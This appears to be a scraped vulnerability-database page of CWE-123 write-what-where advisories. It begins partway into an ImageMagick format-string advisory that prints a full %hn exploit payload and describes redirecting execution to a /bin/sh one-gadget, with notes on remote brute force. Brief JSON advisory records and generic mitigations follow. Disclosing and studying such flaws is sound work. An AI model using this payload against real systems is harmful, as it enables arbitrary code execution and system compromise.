%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\\$hn%233c%2194\\$hhnaaaaaaaaa\n```\nThe exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges.\n\u003cbr\u003e\n\n**Exploitation Process:**\n1. Format string payload corrupts stack pointers through positional parameters\n2. Multiple 2-byte writes (%hn) progressively overwrite the return address  \n3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85)\n4. One-gadget executes `/bin/sh` with inherited process permissions\n\u003cbr\u003e\n\n**Remote Exploitation Feasibility:**\nWhile this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access.\n\u003cbr\u003e\n\n**Important:** The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure.\n\n**Note:**\u00a0This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system.\n\u003cbr\u003e\n\n## Impact\nThis format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick\u0027s privileges.\n\nThe vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks.\n\u003cbr\u003e\n\n## Suggested Fix\n\nTwo potential mitigation approaches:\n\n1. **Input Validation**: Add format string validation in `InterpretImageFilename` to reject filenames containing format specifiers (`%n`, `%s`, `%x`, etc.) before passing to `FormatLocaleString`\n2. **Safe Parsing**: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to `FormatLocaleString`\n\u003cbr\u003e\n\n## Credits\n### Team Daemon Fuzz Hunters\n**Bug Hunting Master Program, HSpace/Findthegap**\n\u003cbr\u003e\n\n**Woojin Park**\n@jin-156\n[1203kids@gmail.com](mailto:1203kids@gmail.com)\n\n**Hojun Lee**\n@leehohojune \n[leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr)\n\n**Youngin Won**\n@amethyst0225\n[youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr)\n\n**Siyeon Han**\n@hanbunny\n[kokosyeon@gmail.com](mailto:kokosyeon@gmail.com)\n\n# Additional notes from the ImageMagick team:\n\nOn many modern toolchains and OSes, format\u2011string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation:\n\nTo prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive:\n\n- In wrappers: `filename:literal`\n- From the command line: `-define filename:literal=true`",
  "id": "GHSA-9ccg-6pjw-x645",
  "modified": "2025-11-03T21:34:25Z",
  "published": "2025-08-26T15:29:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9ccg-6pjw-x645"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55298"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/commit/439b362b93c074eea6c3f834d84982b43ef057d5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution"
}

GHSA-9HW6-W5CR-VQXM

Vulnerability from github – Published: 2026-04-29 15:30 – Updated: 2026-04-29 15:30
VLAI
Details

Local privilege escalation due to improper input validation. The following products are affected: Acronis DeviceLock DLP (Windows) before build 9.0.93212, Acronis Cyber Protect Cloud Agent (Windows) before build 42183.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-41952"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-123"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-29T15:16:06Z",
    "severity": "HIGH"
  },
  "details": "Local privilege escalation due to improper input validation. The following products are affected: Acronis DeviceLock DLP (Windows) before build 9.0.93212, Acronis Cyber Protect Cloud Agent (Windows) before build 42183.",
  "id": "GHSA-9hw6-w5cr-vqxm",
  "modified": "2026-04-29T15:30:39Z",
  "published": "2026-04-29T15:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41952"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-7790"
    }
  ],
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  "severity": [
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      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9M5J-R52W-M9V5

Vulnerability from github – Published: 2025-09-09 15:31 – Updated: 2025-10-02 15:31
VLAI
Details

APTIOV contains vulnerabilities in the BIOS where a privileged user may cause “Write-what-where Condition” and “Exposure of Sensitive Information to an Unauthorized Actor” through local access. The successful exploitation of these vulnerabilities can lead to information disclosure, arbitrary data writing, and impact Confidentiality, Integrity, and Availability.

Severity
8.2 (High)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2025-33045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-123"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T14:15:44Z",
    "severity": "HIGH"
  },
  "details": "APTIOV contains vulnerabilities in the BIOS where a privileged user may cause \u201cWrite-what-where Condition\u201d and \u201cExposure of Sensitive Information to an Unauthorized Actor\u201d through local access. The successful exploitation of these vulnerabilities can lead to information disclosure, arbitrary data writing, and impact Confidentiality, Integrity, and Availability.",
  "id": "GHSA-9m5j-r52w-m9v5",
  "modified": "2025-10-02T15:31:12Z",
  "published": "2025-09-09T15:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33045"
    },
    {
      "type": "WEB",
      "url": "https://go.ami.com/hubfs/Security%20Advisories/2025/AMI-SA-2025007.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9PVM-29XC-5VJV

Vulnerability from github – Published: 2025-02-03 06:30 – Updated: 2025-02-03 18:30
VLAI
Details

In V5 DA, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege, if an attacker has physical access to the device, with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: ALPS09291402; Issue ID: MSV-2073.

Severity
6.8 (Medium)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-20141"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-123",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-03T04:15:07Z",
    "severity": "MODERATE"
  },
  "details": "In V5 DA, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege, if an attacker has physical access to the device, with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: ALPS09291402; Issue ID: MSV-2073.",
  "id": "GHSA-9pvm-29xc-5vjv",
  "modified": "2025-02-03T18:30:40Z",
  "published": "2025-02-03T06:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20141"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/February-2025"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9V3V-PQHW-3FHR

Vulnerability from github – Published: 2022-05-06 00:00 – Updated: 2022-05-14 00:03
VLAI
Details

Eclipse CycloneDDS versions prior to 0.8.0 are vulnerable to a write-what-where condition, which may allow an attacker to write arbitrary values in the XML parser.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2021-38441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-123"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-05T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Eclipse CycloneDDS versions prior to 0.8.0 are vulnerable to a write-what-where condition, which may allow an attacker to write arbitrary values in the XML parser.",
  "id": "GHSA-9v3v-pqhw-3fhr",
  "modified": "2022-05-14T00:03:34Z",
  "published": "2022-05-06T00:00:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38441"
    },
    {
      "type": "WEB",
      "url": "https://projects.eclipse.org/projects/iot.cyclonedds"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-315-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9XVP-GQGG-HH2X

Vulnerability from github – Published: 2024-03-19 12:30 – Updated: 2024-08-12 21:31
VLAI
Details

Return registers were overwritten which could have allowed an attacker to execute arbitrary code. Note: This issue only affected Armv7-A systems. Other operating systems are unaffected. This vulnerability affects Firefox < 124, Firefox ESR < 115.9, and Thunderbird < 115.9.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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  "affected": [],
  "aliases": [
    "CVE-2024-2607"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-123"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-19T12:15:08Z",
    "severity": "HIGH"
  },
  "details": "Return registers were overwritten which could have allowed an attacker to execute arbitrary code. *Note:* This issue only affected Armv7-A systems. Other operating systems are unaffected. This vulnerability affects Firefox \u003c 124, Firefox ESR \u003c 115.9, and Thunderbird \u003c 115.9.",
  "id": "GHSA-9xvp-gqgg-hh2x",
  "modified": "2024-08-12T21:31:31Z",
  "published": "2024-03-19T12:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2607"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1879939"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/03/msg00022.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/03/msg00028.html"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-12"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-13"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-14"
    }
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  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CC49-H52C-HM2R

Vulnerability from github – Published: 2024-11-04 03:30 – Updated: 2024-11-04 12:32
VLAI
Details

In mms, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS09062301; Issue ID: MSV-1620.

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-20119"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-123",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-04T02:15:17Z",
    "severity": "MODERATE"
  },
  "details": "In mms, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS09062301; Issue ID: MSV-1620.",
  "id": "GHSA-cc49-h52c-hm2r",
  "modified": "2024-11-04T12:32:56Z",
  "published": "2024-11-04T03:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20119"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/November-2024"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CP86-7JXJ-WQFV

Vulnerability from github – Published: 2022-05-24 22:28 – Updated: 2022-05-24 22:28
VLAI
Details

A CWE-123: Write-what-where Condition vulnerability exists in EcoStruxure™ Control Expert (all versions) and Unity Pro (former name of EcoStruxure™ Control Expert) (all versions), that could cause a crash of the software or unexpected code execution when opening a malicious file in EcoStruxure™ Control Expert software.

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{
  "affected": [],
  "aliases": [
    "CVE-2020-7560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-123"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-11T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "A CWE-123: Write-what-where Condition vulnerability exists in EcoStruxure\u2122 Control Expert (all versions) and Unity Pro (former name of EcoStruxure\u2122 Control Expert) (all versions), that could cause a crash of the software or unexpected code execution when opening a malicious file in EcoStruxure\u2122 Control Expert software.",
  "id": "GHSA-cp86-7jxj-wqfv",
  "modified": "2022-05-24T22:28:33Z",
  "published": "2022-05-24T22:28:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7560"
    },
    {
      "type": "WEB",
      "url": "https://www.se.com/ww/en/download/document/SEVD-2020-343-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
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GHSA-F3C7-CXHX-4H8J

Vulnerability from github – Published: 2024-10-09 15:32 – Updated: 2024-10-09 15:32
VLAI
Details

Substance3D - Stager versions 3.0.3 and earlier are affected by a Write-what-where Condition vulnerability that could allow an attacker to execute arbitrary code in the context of the current user. This vulnerability allows an attacker to write a controlled value to an arbitrary memory location, potentially leading to code execution. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-45142"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-123"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-09T14:15:06Z",
    "severity": "HIGH"
  },
  "details": "Substance3D - Stager versions 3.0.3 and earlier are affected by a Write-what-where Condition vulnerability that could allow an attacker to execute arbitrary code in the context of the current user. This vulnerability allows an attacker to write a controlled value to an arbitrary memory location, potentially leading to code execution. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
  "id": "GHSA-f3c7-cxhx-4h8j",
  "modified": "2024-10-09T15:32:19Z",
  "published": "2024-10-09T15:32:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45142"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/substance3d_stager/apsb24-81.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G3F8-Q8CX-JM7W

Vulnerability from github – Published: 2022-05-13 01:01 – Updated: 2022-05-13 01:01
VLAI
Details

An exploitable arbitrary write vulnerability exists in the open document format parser of the Atlantis Word Processor, version 3.2.7.2, while trying to null-terminate a string. A specially crafted document can allow an attacker to pass an untrusted value as a length to a constructor. This constructor will miscalculate a length and then use it to calculate the position to write a null byte. This can allow an attacker to corrupt memory, which can result in code execution under the context of the application. An attacker must convince a victim to open a specially crafted document in order to trigger this vulnerability.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2018-4038"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-123",
      "CWE-131"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-12-01T18:29:00Z",
    "severity": "HIGH"
  },
  "details": "An exploitable arbitrary write vulnerability exists in the open document format parser of the Atlantis Word Processor, version 3.2.7.2, while trying to null-terminate a string. A specially crafted document can allow an attacker to pass an untrusted value as a length to a constructor. This constructor will miscalculate a length and then use it to calculate the position to write a null byte. This can allow an attacker to corrupt memory, which can result in code execution under the context of the application. An attacker must convince a victim to open a specially crafted document in order to trigger this vulnerability.",
  "id": "GHSA-g3f8-q8cx-jm7w",
  "modified": "2022-05-13T01:01:44Z",
  "published": "2022-05-13T01:01:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-4038"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2018-0711"
    }
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  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Strategy: Language Selection

Use a language that provides appropriate memory abstractions.

Mitigation
Operation

Use OS-level preventative functionality integrated after the fact. Not a complete solution.

No CAPEC attack patterns related to this CWE.

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